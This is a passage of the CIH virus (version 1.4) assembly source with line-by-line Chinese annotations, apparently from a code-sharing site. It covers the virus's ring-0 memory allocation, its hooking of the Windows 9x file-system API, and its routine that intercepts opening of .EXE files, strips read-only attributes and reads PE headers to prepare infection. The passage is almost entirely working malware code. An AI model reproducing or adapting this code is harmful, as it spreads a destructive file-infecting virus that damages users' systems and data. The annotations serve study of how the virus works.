?? _cih病毒1.4版本之中文注釋.txt
字號:
push 00000000fh ;
push ecx ;
push 0ffffffffh ;
push ecx ;調用方法ULONG EXTERN _PageAllocate(ULONG nPages, ULONG pType, ULONG VM,
;ULONG AlignMask, ULONG minPhys, ULONG maxPhys, ULONG *PhysAddr,
;ULONG flags);
push ecx ;
push ecx ;
push 000000001h ;
push 000000002h ;
int 20h ; VMMCALL _PageAllocate;VXD調用
_PageAllocate = $ ;
dd 00010053h ; Use EAX, ECX, EDX, and flags
add esp, 08h*04h ;恢復棧指針
xchg edi, eax ; EDI = SystemMemory Start Address
; EDI指向分配好的系統內存首址
lea eax, MyVirusStart-@2[esi] ;eax指向病毒開始處
iretd ; Return to Ring3 Initial Program ;退出中斷,回3級(回到"Merge All Virus Code Section")
; *************************************
; * Install My File System Api Hook *
; *************************************
InstallMyFileSystemApiHook:
lea eax, FileSystemApiHook-@6[edi] ;指向文件系統鉤子程序首址
push eax ;
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $ ;
dd 00400067h ; Use EAX, ECX, EDX, and flags
;在調用后變為call [IFSMgr_InstallFileSystemApiHook]
mov dr0, eax ; Save OldFileSystemApiHook Address
;保存原來的文件系統鉤子程序首址到dr0(改調用的返回值是前一個鏈值)
pop eax ; EAX = FileSystemApiHook Address
; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx] ;edx為IFSMgr_InstallFileSystemApiHook功能的地址
mov OldInstallFileSystemApiHook-@3[eax], edx ?;保存
; Modify IFSMgr_InstallFileSystemApiHook Entry Point
lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eax ?;設置新的IFSMgr_InstallFileSystemApiHook功能調用的地址
;使指向InstallFileSystemApiHook
cli
jmp ExitRing0Init ?;退出0級(int 3 or int 5)
; *********************************************************
; * Code Size of Merge Virus Code Section *
; *********************************************************
CodeSizeOfMergeVirusCodeSection = offset $
; *********************************************************
; * IFSMgr_InstallFileSystemApiHook *
; *********************************************************
InstallFileSystemApiHook: ;新的IFSMgr_InstallFileSystemApiHook功能調用
push ebx
call @4 ;
@4: ;
pop ebx ; mov ebx, offset FileSystemApiHook ;獲得當前指令的偏移地址
add ebx, FileSystemApiHook-@4 ;加上偏移的差=FileSystemApiHook的偏移
push ebx
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook ;調用VXD移去指向FileSystemApiHook的鉤子
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h ; Use EAX, ECX, EDX, and flags ;調用號
pop eax
; Call Original IFSMgr_InstallFileSystemApiHook
; to Link Client FileSystemApiHook
push dword ptr [esp+8]
call OldInstallFileSystemApiHook-@3[ebx] ;調用原來的IFSMgr_InstallFileSystemApiHook功能設置鉤子
pop ecx
push eax
; Call Original IFSMgr_InstallFileSystemApiHook
; to Link My FileSystemApiHook
push ebx
call OldInstallFileSystemApiHook-@3[ebx] ;調用原來的IFSMgr_InstallFileSystemApiHook功能設置鉤子
pop ecx
mov dr0, eax ; Adjust OldFileSystemApiHook Address ;調整原來的地址
pop eax
pop ebx
ret
; *********************************************************
; * Static Data *
; *********************************************************
OldInstallFileSystemApiHook dd ? ;原來的InstallFileSystemApiHook調用的地址
; *********************************************************
; * IFSMgr_FileSystemHook *
; *********************************************************
; *************************************
; * IFSMgr_FileSystemHook Entry Point *
; *************************************
FileSystemApiHook: ;安裝好的文件系統鉤子
@3 = FileSystemApiHook
pushad ;保存寄存器(20h長)
call @5 ;
@5: ;
pop esi ; mov esi, offset ;esi為當前指令的偏移
add esi, VirusGameDataStartAddress-@5
;esi為FileSystemApiHook的偏移加上到VirusGameDataStartAddress的偏移之差=VirusGameDataStartAddress的偏移
; *************************************
; * Is OnBusy !? *
; *************************************
test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy ) ;測試"忙"標志
jnz pIFSFunc ; goto pIFSFunc ;"忙"則轉到pIFSFunc
; *************************************
; * Is OpenFile !? *
; *************************************
; if ( NotOpenFile )
; goto prevhook
lea ebx, [esp+20h+04h+04h] ;ebx為FunctionNum的地址
;文件系統鉤子的調用格式如下
;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive,int ResourceFlags, int CodePage, pioreq pir)
;助標2
cmp dword ptr [ebx], 00000024h ;測試此次調用是否是為了打開文件
;在DDK的ifs.h中定義的#define IFSFN_OPEN 36
jne prevhook ;不是就跳到前一個文件鉤子去
; *************************************
; * Enable OnBusy *
; *************************************
inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy ;設置"忙"標志為"忙"
; *************************************
; * Get FilePath's DriveNumber, *
; * then Set the DriveName to *
; * FileNameBuffer. *
; *************************************
; * Ex. If DriveNumber is 03h, *
; * DriveName is 'C:'. *
; *************************************
; mov esi, offset FileNameBuffer
add esi, FileNameBuffer-@6 ;esi指向FileNameBuffer
push esi ;保存之
mov al, [ebx+04h] ;ebx+4為int Drive的地址
cmp al, 0ffh ;是否是UNC(universal naming conventions)地址
je CallUniToBCSPath ;是就轉
add al, 40h
mov ah, ':'
mov [esi], eax ;處理成"X:"的形式
inc esi
inc esi
; *************************************
; * UniToBCSPath *
; *************************************
; * This Service Converts *
; * a Canonicalized Unicode Pathname * ;把Canonicalized Unicode的字符轉換為普通的BCS字符集
; * to a Normal Pathname in the *
; * Specified BCS Character Set. *
; *************************************
;調用方法 UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath, unsigned int maxLength, int charSet)
CallUniToBCSPath:
push 00000000h ;字符集
push FileNameBufferSize ;字符長度
mov ebx, [ebx+10h]
mov eax, [ebx+0ch]
add eax, 04h
push eax ;Uni字符首址
push esi ;BCS字符首址
int 20h ; VXDCall UniToBCSPath ;調用UniToBCSPath
UniToBCSPath = $
dd 00400041h ;調用id
add esp, 04h*04h
; *************************************
; * Is FileName '.EXE' !? *
; *************************************
; cmp [esi+eax-04h], '.EXE'
cmp [esi+eax-04h], 'EXE.' ;測試是否是*.EXE(可執行)文件
pop esi
jne DisableOnBusy
IF DEBUG
; *************************************
; * Only for Debug *
; *************************************
; cmp [esi+eax-06h], 'FUCK'
cmp [esi+eax-06h], 'KCUF' ;如果是測試用途則測試是否是"FUCK.EXE"
jne DisableOnBusy
ENDIF
; *************************************
; * Is Open Existing File !? *
; *************************************
; if ( NotOpenExistingFile )
; goto DisableOnBusy
cmp word ptr [ebx+18h], 01h ;測試是否打開
jne DisableOnBusy
; *************************************
; * Get Attributes of the File *
; *************************************
mov ax, 4300h ;IFSMgr_Ring0_FileIO的獲得文件屬性號(R0_FILEATTRIBUTES/GET_ATTRIBUTES)
int 20h ; VXDCall IFSMgr_Ring0_FileIO ;調用IFSMgr_Ring0_FileIO的獲得文件屬性的功能
IFSMgr_Ring0_FileIO = $
dd 00400032h ;調用號
jc DisableOnBusy ;失敗否?
push ecx
; *************************************
; * Get IFSMgr_Ring0_FileIO Address *
; *************************************
mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi] ;獲得IFSMgr_Ring0_FileIO調用的地址
; *************************************
; * Is Read-Only File !? *
; *************************************
test cl, 01h
jz OpenFile ;測試是否是只讀文件
; *************************************
; * Modify Read-Only File to Write *
; *************************************
mov ax, 4301h ;IFSMgr_Ring0_FileIO的獲得文件屬性號(R0_FILEATTRIBUTES/SET_ATTRIBUTES )
xor ecx, ecx
call edi ; VXDCall IFSMgr_Ring0_FileIO ;調用IFSMgr_Ring0_FileIO的改文件屬性功能,使文件可寫
; *************************************
; * Open File *
; *************************************
OpenFile:
xor eax, eax
mov ah, 0d5h ;IFSMgr_Ring0_FileIO的打開文件功能號(R0_OPENCREATFILE or RO_OPENCREAT_IN_CONTEXT)
xor ecx, ecx ;文件屬性
xor edx, edx
inc edx
mov ebx, edx
inc ebx ;esi為文件名首址
call edi ; VXDCall IFSMgr_Ring0_FileIO ;調用IFSMgr_Ring0_FileIO的打開文件功能
xchg ebx, eax ; mov ebx, FileHandle ;在ebx中保存文件句柄
; *************************************
; * Need to Restore *
; * Attributes of the File !? *
; *************************************
pop ecx
pushf
test cl, 01h
jz IsOpenFileOK ;是否需要恢復文件屬性(有寫屬性就不需要恢復了)
; *************************************
; * Restore Attributes of the File *
; *************************************
mov ax, 4301h ;IFSMgr_Ring0_FileIO的獲得文件屬性號(R0_FILEATTRIBUTES/SET_ATTRIBUTES)
call edi ; VXDCall IFSMgr_Ring0_FileIO ;恢復文件屬性
; *************************************
; * Is Open File OK !? *
; *************************************
IsOpenFileOK:
popf
jc DisableOnBusy ;打開是否成功?
; *************************************
; * Open File Already Succeed. ^__^ *
; *************************************
push esi ; Push FileNameBuffer Address to Stack ;把文件名數據區首址壓棧
pushf ; Now CF = 0, Push Flag to Stack ;保存標志位
add esi, DataBuffer-@7 ; mov esi, offset DataBuffer ;esi指向數據區首址
; ***************************
; * Get OffsetToNewHeader *
; ***************************
xor eax, eax
mov ah, 0d6h ;IFSMgr_Ring0_FileIO的讀文件功能號(R0_READFILE)
; For Doing Minimal VirusCode's Length,
; I Save EAX to EBP.
mov ebp, eax
push 00000004h ;讀取4個字節
pop ecx
push 0000003ch ;讀取dos文件頭偏移3ch處的Windows文件頭首部偏移
pop edx
call edi ; VXDCall IFSMgr_Ring0_FileIO ;讀文件到esi
mov edx, [esi] ;Windows文件頭首部偏移放到edx
; ***************************
; * Get 'PE\0' Signature *
; * of ImageFileHeader, and *
; * Infected Mark. *
; ***************************
dec edx
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -